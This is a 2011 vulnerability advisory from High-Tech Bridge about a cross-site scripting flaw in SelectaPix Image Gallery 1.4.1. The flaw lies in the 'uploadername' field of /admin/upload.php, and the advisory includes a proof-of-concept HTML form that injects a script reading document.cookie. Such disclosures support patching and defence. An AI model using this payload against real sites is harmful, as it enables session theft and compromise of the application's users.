HTB22964: XSS in SelectaPix Image Gallery

Vulnerability ID: HTB22964
Reference: http://www.htbridge.ch/advisory/xss_in_selectapix_image_gallery.html
Product: SelectaPix Image Gallery
Vendor: http://www.outofthetrees.co.uk/ ( http://www.outofthetrees.co.uk/ )
Vulnerable Version: 1.4.1
Vendor Notification: 19 April 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/admin/upload.php" script to properly sanitize user-supplied input in "uploadername" variable.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
The following PoC is available:

<form action="http://[host]/admin/upload.php?albumID=1&parentID=0&request=single" method="post" name="main" id="main">
<input type="hidden" name="uploadername" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="OK">
</form>